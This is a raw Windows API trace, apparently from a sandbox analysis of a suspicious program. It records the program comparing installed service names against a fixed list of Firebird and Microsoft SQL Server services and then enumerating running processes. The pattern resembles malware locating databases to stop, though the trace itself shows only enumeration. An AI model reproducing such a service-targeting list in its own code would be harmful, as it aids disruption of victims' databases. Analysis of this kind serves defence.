lstrlenW (lpString="BFE") returned 3 [0184.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0184.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0184.750] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0184.750] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0184.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0184.750] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0184.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0184.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0184.750] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0184.750] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0184.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0184.750] lstrlenW (lpString="CDPSvc") returned 6 [0184.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0184.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0184.750] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0184.750] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0184.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0184.750] lstrlenW (lpString="ClickToRunSvc") returned 13 [0184.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0184.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0184.751] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0184.751] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0184.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0184.751] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0184.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0184.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0184.751] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0184.751] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0184.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0184.751] lstrlenW (lpString="CryptSvc") returned 8 [0184.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0184.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0184.751] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0184.751] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0184.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0184.751] lstrlenW (lpString="DcomLaunch") returned 10 [0184.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0184.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0184.752] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0184.752] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0184.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0184.752] lstrlenW (lpString="DeviceAssociationService") returned 24 [0184.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0184.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0184.752] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0184.752] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0184.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0184.752] lstrlenW (lpString="Dhcp") returned 4 [0184.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0184.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0184.752] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0184.752] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0184.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0184.752] lstrlenW (lpString="Dnscache") returned 8 [0184.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0184.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0184.752] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0184.753] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0184.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0184.753] lstrlenW (lpString="DPS") returned 3 [0184.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0184.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0184.753] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0184.753] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0184.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0184.753] lstrlenW (lpString="DusmSvc") returned 7 [0184.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0184.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0184.753] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0184.754] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0184.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0184.754] lstrlenW (lpString="EventLog") returned 8 [0184.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0184.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0184.754] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0184.754] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0184.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0184.754] lstrlenW (lpString="EventSystem") returned 11 [0184.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0184.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0184.754] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0184.754] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0184.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0184.754] lstrlenW (lpString="FontCache") returned 9 [0184.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0184.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0184.754] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0184.754] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0184.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0185.077] lstrlenW (lpString="gpsvc") returned 5 [0185.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0185.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0185.096] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0185.096] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0185.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0185.096] lstrlenW (lpString="iphlpsvc") returned 8 [0185.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0185.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0185.096] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0185.096] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0185.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0185.096] lstrlenW (lpString="KeyIso") returned 6 [0185.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0185.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0185.096] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0185.096] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0185.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0185.096] lstrlenW (lpString="LanmanServer") returned 12 [0185.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0185.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0185.096] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0185.096] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0185.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0185.097] lstrlenW (lpString="LanmanWorkstation") returned 17 [0185.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0185.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0185.097] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0185.097] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0185.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0185.097] lstrlenW (lpString="lfsvc") returned 5 [0185.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0185.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0185.097] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0185.097] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0185.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0185.097] lstrlenW (lpString="lmhosts") returned 7 [0185.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0185.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0185.097] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0185.097] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0185.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0185.097] lstrlenW (lpString="LSM") returned 3 [0185.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0185.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0185.097] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0185.097] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0185.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0185.097] lstrlenW (lpString="MpsSvc") returned 6 [0185.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0185.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0185.098] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0185.098] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0185.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0185.098] lstrlenW (lpString="NcbService") returned 10 [0185.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0185.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0185.098] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0185.098] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0185.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0185.098] lstrlenW (lpString="netprofm") returned 8 [0185.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0185.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0185.098] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0185.098] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0185.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0185.098] lstrlenW (lpString="NgcSvc") returned 6 [0185.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0185.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0185.098] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0185.098] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0185.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0185.098] lstrlenW (lpString="NlaSvc") returned 6 [0185.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0185.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0185.098] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0185.098] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0185.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0185.099] lstrlenW (lpString="nsi") returned 3 [0185.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0185.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0185.099] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0185.099] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0185.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0185.099] lstrlenW (lpString="PcaSvc") returned 6 [0185.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0185.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0185.099] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0185.099] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0185.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0185.099] lstrlenW (lpString="PlugPlay") returned 8 [0185.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0185.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0185.099] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0185.099] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0185.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0185.099] lstrlenW (lpString="Power") returned 5 [0185.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0185.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0185.099] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0185.099] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0185.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0185.099] lstrlenW (lpString="ProfSvc") returned 7 [0185.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0185.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0185.100] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0185.100] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0185.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0185.100] lstrlenW (lpString="RpcEptMapper") returned 12 [0185.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0185.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0185.100] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0185.100] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0185.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0185.100] lstrlenW (lpString="RpcSs") returned 5 [0185.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0185.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0185.100] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0185.100] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0185.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0185.100] lstrlenW (lpString="SamSs") returned 5 [0185.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0185.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0185.100] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0185.100] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0185.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0185.100] lstrlenW (lpString="Schedule") returned 8 [0185.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0185.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0185.100] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0185.100] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0185.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0185.101] lstrlenW (lpString="SecurityHealthService") returned 21 [0185.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0185.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0185.101] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0185.101] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0185.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0185.101] lstrlenW (lpString="SENS") returned 4 [0185.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0185.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0185.101] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0185.101] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0185.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0185.101] lstrlenW (lpString="ShellHWDetection") returned 16 [0185.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0185.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0185.101] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0185.101] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0185.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0185.101] lstrlenW (lpString="Spooler") returned 7 [0185.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0185.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0185.101] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0185.101] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0185.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0185.101] lstrlenW (lpString="StateRepository") returned 15 [0185.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0185.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0185.101] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0185.101] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0185.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0185.102] lstrlenW (lpString="SysMain") returned 7 [0185.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0185.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0185.102] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0185.102] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0185.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0185.102] lstrlenW (lpString="SystemEventsBroker") returned 18 [0185.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0185.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0185.102] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0185.102] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0185.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0185.102] lstrlenW (lpString="Themes") returned 6 [0185.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0185.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0185.102] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0185.102] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0185.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0185.102] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0185.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0185.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0185.102] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0185.102] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0185.103] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4661fb8 | out: hHeap=0x710000) returned 1 [0185.103] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x388 [0185.108] Process32FirstW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0185.109] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0185.110] lstrlenW (lpString="System") returned 6 [0185.110] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0185.111] lstrlenW (lpString="smss.exe") returned 8 [0185.111] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0185.112] lstrlenW (lpString="csrss.exe") returned 9 [0185.112] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0185.113] lstrlenW (lpString="wininit.exe") returned 11 [0185.113] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0185.114] lstrlenW (lpString="csrss.exe") returned 9 [0185.114] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0185.115] lstrlenW (lpString="winlogon.exe") returned 12 [0185.115] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0185.116] lstrlenW (lpString="services.exe") returned 12 [0185.116] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0185.117] lstrlenW (lpString="lsass.exe") returned 9 [0185.117] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0185.118] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0185.118] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0185.119] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0185.119] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.120] lstrlenW (lpString="svchost.exe") returned 11 [0185.120] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, 